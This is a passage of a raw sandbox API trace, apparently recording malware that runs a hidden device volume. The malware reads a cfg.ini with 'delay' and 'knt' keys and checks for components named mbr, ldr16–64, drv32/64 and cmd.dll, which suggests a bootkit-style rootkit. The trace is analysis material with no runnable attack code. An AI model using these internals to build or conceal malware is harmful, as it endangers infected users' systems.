0x103 [0121.134] KeWaitForMutexObject () returned 0x0 [0121.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.134] KeLeaveCriticalRegion () [0121.134] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.134] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.134] KeEnterCriticalRegion () [0121.134] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.134] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.134] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.134] KeLeaveCriticalRegion () [0121.135] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.135] KeEnterCriticalRegion () [0121.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.135] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.135] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.135] KeLeaveCriticalRegion () [0121.135] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.135] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.135] KeEnterCriticalRegion () [0121.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.135] ExFreePoolWithTag (P=0xfffffa8003bc3d10, Tag=0x0) [0121.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.135] KeLeaveCriticalRegion () [0121.135] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.135] ReleaseMutex (hMutex=0xf0) returned 1 [0121.135] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.135] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.135] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.135] KeEnterCriticalRegion () [0121.135] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.135] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.135] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.135] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.135] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.135] IdePortDispatch () returned 0x103 [0121.135] KeWaitForMutexObject () returned 0x0 [0121.135] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.135] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.135] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.135] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.135] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.135] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3f00 [0121.135] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.135] KeLeaveCriticalRegion () [0121.135] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.136] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.136] KeEnterCriticalRegion () [0121.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.136] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.136] KeLeaveCriticalRegion () [0121.136] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.136] KeEnterCriticalRegion () [0121.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.136] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.136] IdePortDispatch () returned 0x103 [0121.136] KeWaitForMutexObject () returned 0x0 [0121.136] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.136] KeLeaveCriticalRegion () [0121.136] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.136] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.136] KeEnterCriticalRegion () [0121.136] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c3000 [0121.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.136] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.136] IdePortDispatch () returned 0x103 [0121.136] KeWaitForMutexObject () returned 0x0 [0121.136] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.137] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.137] IdePortDispatch () returned 0x103 [0121.137] KeWaitForMutexObject () returned 0x0 [0121.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.137] KeLeaveCriticalRegion () [0121.137] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.137] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.137] KeEnterCriticalRegion () [0121.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.137] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.137] KeLeaveCriticalRegion () [0121.137] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.137] KeEnterCriticalRegion () [0121.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.138] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.138] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b67c60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.138] KeLeaveCriticalRegion () [0121.138] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.138] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.138] KeEnterCriticalRegion () [0121.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.138] ExFreePoolWithTag (P=0xfffffa8003bc3f00, Tag=0x0) [0121.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.138] KeLeaveCriticalRegion () [0121.138] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.138] ReleaseMutex (hMutex=0xf0) returned 1 [0121.138] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.138] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.138] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.138] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.138] KeEnterCriticalRegion () [0121.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.138] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.138] IdePortDispatch () returned 0x103 [0121.138] KeWaitForMutexObject () returned 0x0 [0121.138] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.139] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.139] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.139] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.139] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.139] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.139] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.139] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.139] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.139] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.139] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.139] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.139] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.139] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.139] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.139] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.139] KeLeaveCriticalRegion () [0121.139] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.139] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.139] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.139] KeEnterCriticalRegion () [0121.139] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.139] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.139] IdePortDispatch () returned 0x103 [0121.139] KeWaitForMutexObject () returned 0x0 [0121.139] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.139] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.139] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.139] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.139] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.139] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.139] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.139] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.140] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.140] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.140] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.140] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.140] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.140] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.140] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.140] KeLeaveCriticalRegion () [0121.140] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.140] ReleaseMutex (hMutex=0x100) returned 1 [0121.140] Sleep (dwMilliseconds=0x2bf20) [0121.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b680e10, dwHighDateTime=0x1d24fa4)) [0121.146] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.146] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.146] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.146] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.147] KeEnterCriticalRegion () [0121.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.147] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.147] IdePortDispatch () returned 0x103 [0121.147] KeWaitForMutexObject () returned 0x0 [0121.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.147] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.147] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.147] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.147] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.147] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3fb0 [0121.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.147] KeLeaveCriticalRegion () [0121.147] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.147] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.147] KeEnterCriticalRegion () [0121.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.147] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.147] KeLeaveCriticalRegion () [0121.147] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.147] KeEnterCriticalRegion () [0121.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.147] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.147] IdePortDispatch () returned 0x103 [0121.147] KeWaitForMutexObject () returned 0x0 [0121.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.148] KeLeaveCriticalRegion () [0121.148] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.148] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.148] KeEnterCriticalRegion () [0121.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c6000 [0121.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.148] IdePortDispatch () returned 0x103 [0121.148] KeWaitForMutexObject () returned 0x0 [0121.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.148] IdePortDispatch () returned 0x103 [0121.148] KeWaitForMutexObject () returned 0x0 [0121.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.148] KeLeaveCriticalRegion () [0121.148] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.149] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.149] KeEnterCriticalRegion () [0121.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.149] KeLeaveCriticalRegion () [0121.149] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.149] KeEnterCriticalRegion () [0121.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.149] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.149] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.149] KeLeaveCriticalRegion () [0121.149] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.149] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.149] KeEnterCriticalRegion () [0121.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.149] ExFreePoolWithTag (P=0xfffffa8003bc3fb0, Tag=0x0) [0121.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.149] KeLeaveCriticalRegion () [0121.149] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.149] ReleaseMutex (hMutex=0xf0) returned 1 [0121.149] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.149] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.149] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.149] KeEnterCriticalRegion () [0121.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.149] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.149] IdePortDispatch () returned 0x103 [0121.150] KeWaitForMutexObject () returned 0x0 [0121.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.150] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.150] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.150] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.150] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.150] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3b60 [0121.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.150] KeLeaveCriticalRegion () [0121.150] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.150] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.150] KeEnterCriticalRegion () [0121.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.150] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.150] ExReleaseFastMutexUnsafe (in: 